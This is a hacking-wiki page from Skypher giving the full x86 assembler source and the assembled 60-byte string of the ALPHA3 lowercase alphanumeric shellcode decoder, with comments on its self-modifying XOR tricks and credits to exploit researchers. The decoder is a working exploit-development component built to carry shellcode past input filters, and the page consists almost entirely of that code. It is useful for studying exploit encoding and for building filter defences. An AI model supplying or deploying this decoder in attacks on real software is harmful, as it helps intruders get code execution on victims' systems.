Hacking/Shellcode/Alphanumeric/ALPHA3/x86/ASCII/Lowercase/Decoder
From Skypher
|
▼Main Page |
|
CODE
Below is the assembler source for the ALPHA3 lowercase ASCII alphanumeric code decoder for x86. It assumes that ECX points to its base address.
BITS 32 ; XOR [ESP], ESI and XOR ESI, [ESP] can be encoded in two ways, one of which is ; alphanumeric. NASM chooses the wrong one, which is why we have these: %define xor_esp_esi db 0x31, 0x34, 0x64 %define xor_esi_esp db 0x33, 0x34, 0x64 start: PUSH BYTE 0x33 ; [ESP0] = 0x33 xor_esp_esi ; XOR [ESP], ESI ; [ESP0] = 0x33 ^ ESI xor_esi_esp ; XOR ESI,[ESP] ; ESI = ESI ^ 0x33 ^ ESI = 0x33 PUSH BYTE 0x71 ; [ESP1] = 0x71 xor_esi_esp ; XOR ESI,[ESP] ; ESI = 0x33^0x71 PUSH BYTE 0x33^0x71^code ; [ESP2] = 0x33^0x71^code xor_esi_esp ; XOR ESI,[ESP] ; ESI = 0x33^0x71 ^ 0x33^0x71^code = code XOR [ECX+ESI], ESI ; Fix IMUL opcode XOR [BYTE ECX+xor1+1], ESI ; Fix first XOR opcode XOR [BYTE ECX+inc1], ESI ; Fix INC opcode XOR [BYTE ECX+xor2+1], ESI ; Fix second XOR opcode esi_value equ 3 PUSH BYTE 0x33 ; [ESP3] = 0x33 xor_esp_esi ; XOR [ESP], ESI ; [ESP3] = 0x33 ^ ESI xor_esi_esp ; XOR ESI,[ESP] ; ESI = ESI^0x33 ^ ESI = 0x33 PUSH BYTE esi_value^0x33 ; [ESP4] = esi_value^0x33 xor_esi_esp ; XOR ESI,[ESP] ; ESI = 0x33 ^ esi_value^0x33 = esi_value loop: ; These instructions can not be encoded using 100% lowercase alphanumeric ; characters. So we have modified those bytes that were not lowercase ; alphanumeric (0x4X) to make them lowercase alphanumeric anyway. This of ; course breaks our code, this is why we have the code above to undo this ; modification, restoring the original instructions so they can be executed. ; "fixed" lowercase alphanumeric bytes: origional instruction: imul1: db 0x6B, 0x44^code, 0x71, offset_esi2, 0x30 ; IMUL EAX,DWORD PTR DS:[ECX+ESI*2+X],30 xor1: db 0x32, 0x44^code, 0x71, offset_esi2+1 ; XOR AL,BYTE PTR DS:[ECX+ESI*2+X+1] inc1: db 0x46^code ; INC ESI xor2: db 0x30, 0x44^code, 0x31, offset_esi-1 ; XOR BYTE PTR DS:[ECX+ESI+Y],AL jnz1: db 0x75 ; JNZ loop (F0) ; There is a very complicated way to calculate these, which I didn't bother to implement; ; it's easier to just manually do it: data: db 0x35, 0x35 ; Encoded offset $-loop code equ (imul1+1-$$) offset_esi2 equ ((data-$$) - (esi_value*2)) offset_esi equ ((data-$$) - (esi_value))
Assembled, the code is 60 bytes and looks like this:
j314d34djq34djn34d1411q11q41q6j314d34dj034dkhq402hq5j0h16u55
See also
- x86 printable opcodes - A list of all available opcodes for alphanmeric code on x86.
- IMUL 0x30 encoding - A description of the technique used to encode/decode the data.
SkyLined would like to thank the following people:
- rix for the phrack article on aphanumeric shellcode.
- obscou for the phrack article on unicode-proof shellcode.
- Costin Ionescu for the idea behind w32 SEH GetPC code.
- tms320/ph4nt0m Security Team for the article on using a different IMUL value in my alphanumeric decoders.
- jamikazu for this VML fill method BoF exploit that points the SEH to the heap to bypass Software DEP .
